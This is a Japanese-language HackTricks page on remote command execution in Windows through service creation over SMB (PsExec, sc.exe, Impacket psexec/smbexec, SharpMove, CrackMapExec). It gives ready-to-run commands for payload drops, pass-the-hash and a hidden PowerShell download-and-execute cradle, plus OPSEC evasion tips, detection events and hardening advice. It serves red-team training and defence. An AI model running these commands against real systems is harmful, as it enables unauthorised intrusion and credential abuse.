PsExec/Winexec/ScExec/SMBExec
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
どのように機能するか
これらの技術は、SMB/RPCを介してリモートでWindowsサービスコントロールマネージャー(SCM)を悪用して、ターゲットホスト上でコマンドを実行します。一般的な流れは次のとおりです:
- ターゲットに認証し、SMB(TCP/445)経由でADMIN$共有にアクセスします。
- 実行可能ファイルをコピーするか、サービスが実行するLOLBASコマンドラインを指定します。
- SCM(\PIPE\svcctl経由のMS-SCMR)を介して、そのコマンドまたはバイナリを指すリモートサービスを作成します。
- サービスを開始してペイロードを実行し、オプションで名前付きパイプを介してstdin/stdoutをキャプチャします。
- サービスを停止し、クリーンアップ(サービスとドロップされたバイナリを削除)します。
要件/前提条件:
- ターゲット上のローカル管理者(SeCreateServicePrivilege)またはターゲット上の明示的なサービス作成権限。
- SMB(445)が到達可能で、ADMIN$共有が利用可能;ホストファイアウォールを通じてリモートサービス管理が許可されている。
- UACリモート制限:ローカルアカウントを使用する場合、トークンフィルタリングによりネットワーク上の管理者がブロックされる可能性があるため、組み込みのAdministratorまたはLocalAccountTokenFilterPolicy=1を使用する必要があります。
- Kerberos対NTLM:ホスト名/FQDNを使用するとKerberosが有効になり、IPで接続するとNTLMにフォールバックすることが多く(強化された環境ではブロックされる可能性があります)。
sc.exeを介した手動ScExec/WinExec
以下は、最小限のサービス作成アプローチを示しています。サービスイメージは、ドロップされたEXEまたはcmd.exeやpowershell.exeのようなLOLBASである可能性があります。
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
ノート:
- 非サービスEXEを起動するときにタイムアウトエラーが発生することがありますが、実行は続行されます。
- OPSECに配慮するため、ファイルレスコマンド(cmd /c, powershell -enc)を好むか、ドロップされたアーティファクトを削除してください。
詳細な手順については、こちらを参照してください: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
ツールと例
Sysinternals PsExec.exe
- SMBを使用してADMIN$にPSEXESVC.exeをドロップし、一時サービス(デフォルト名PSEXESVC)をインストールし、名前付きパイプを介してI/Oをプロキシするクラシックな管理ツールです。
- 使用例:
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
- WebDAV経由でSysinternals Liveから直接起動できます:
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
OPSEC
- サービスのインストール/アンインストールイベントを残し(サービス名は通常PSEXESVC、-rが使用されない限り)、実行中にC:\Windows\PSEXESVC.exeを作成します。
Impacket psexec.py (PsExecに似たもの)
- 埋め込まれたRemComのようなサービスを使用します。ADMIN$経由で一時的なサービスバイナリ(一般的にランダム化された名前)をドロップし、サービスを作成します(デフォルトは通常RemComSvc)し、名前付きパイプを介してI/Oをプロキシします。
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
Artifacts
- 一時的なEXEがC:\Windows\に作成されます(ランダムな8文字)。サービス名は上書きされない限り、デフォルトでRemComSvcになります。
Impacket smbexec.py (SMBExec)
- cmd.exeを生成する一時的なサービスを作成し、I/Oに名前付きパイプを使用します。一般的にフルEXEペイロードをドロップすることは避けられ、コマンド実行はセミインタラクティブです。
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
SharpLateral と SharpMove
- SharpLateral (C#) は、サービスベースの実行を含むいくつかの横移動手法を実装しています。
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
- SharpMove は、リモートでコマンドを実行するためのサービスの変更/作成を含みます。
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
- CrackMapExecを使用して、異なるバックエンド(psexec/smbexec/wmiexec)を介して実行することもできます:
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
OPSEC、検出とアーティファクト
PsExecのような技術を使用する際の典型的なホスト/ネットワークアーティファクト:
- 管理者アカウントに対するセキュリティ4624(ログオンタイプ3)および4672(特権)。
- ADMIN$アクセスおよびサービスバイナリの作成/書き込み(例:PSEXESVC.exeまたはランダムな8文字の.exe)を示すセキュリティ5140/5145ファイル共有およびファイル共有詳細イベント。
- ターゲット上のサービスインストールに関するセキュリティ7045:PSEXESVC、RemComSvc、またはカスタム(-r / -service-name)のようなサービス名。
- services.exeまたはサービスイメージに対するSysmon 1(プロセス作成)、C:\Windows\内の3(ネットワーク接続)、11(ファイル作成)、\.\pipe\psexesvc、\.\pipe\remcom_*、またはランダム化された同等物のための17/18(パイプ作成/接続)。
- オペレータホスト上のSysinternals EULAに関するレジストリアーティファクト:HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1(抑制されていない場合)。
ハンティングアイデア
- ImagePathにcmd.exe /c、powershell.exe、またはTEMPロケーションを含むサービスインストールにアラートを出す。
- ParentImageがC:\Windows\PSEXESVC.exeであるプロセス作成や、LOCAL SYSTEMとしてシェルを実行しているservices.exeの子プロセスを探す。
- -stdin/-stdout/-stderrで終わる名前付きパイプや、よく知られたPsExecクローンパイプ名にフラグを立てる。
一般的な失敗のトラブルシューティング
- サービス作成時にアクセスが拒否される(5):真のローカル管理者でない、ローカルアカウントに対するUACリモート制限、またはサービスバイナリパスに対するEDR改ざん保護。
- ネットワークパスが見つからない(53)またはADMIN$に接続できない:SMB/RPCをブロックするファイアウォールまたは管理共有が無効。
- Kerberosが失敗するがNTLMがブロックされる:ホスト名/FQDN(IPではなく)を使用して接続し、適切なSPNを確保するか、Impacketを使用する際にチケットと共に-k/-no-passを供給する。
- サービス開始がタイムアウトするがペイロードが実行された:実際のサービスバイナリでない場合は予想される;出力をファイルにキャプチャするか、ライブI/Oのためにsmbexecを使用する。
ハードニングノート
- Windows 11 24H2およびWindows Server 2025は、デフォルトでアウトバウンド(およびWindows 11のインバウンド)接続に対してSMB署名を要求します。これは、正当な資格情報を持つPsExecの使用を妨げることはありませんが、署名されていないSMBリレーの悪用を防ぎ、署名をサポートしないデバイスに影響を与える可能性があります。
- 新しいSMBクライアントのNTLMブロック(Windows 11 24H2/Server 2025)は、IPまたは非Kerberosサーバーへの接続時にNTLMフォールバックを防ぐことがあります。ハードニングされた環境では、NTLMベースのPsExec/SMBExecが壊れるため、Kerberos(ホスト名/FQDN)を使用するか、正当な必要がある場合は例外を設定してください。
- 最小特権の原則:ローカル管理者のメンバーシップを最小限に抑え、Just-in-Time/Just-Enough Adminを優先し、LAPSを強制し、7045サービスインストールを監視/アラートします。
参照
- WMIベースのリモート実行(しばしばファイルレス):
- WinRMベースのリモート実行:
参考文献
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Windows Server 2025およびWindows 11におけるSMBセキュリティハードニング(デフォルトでの署名、NTLMブロック): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。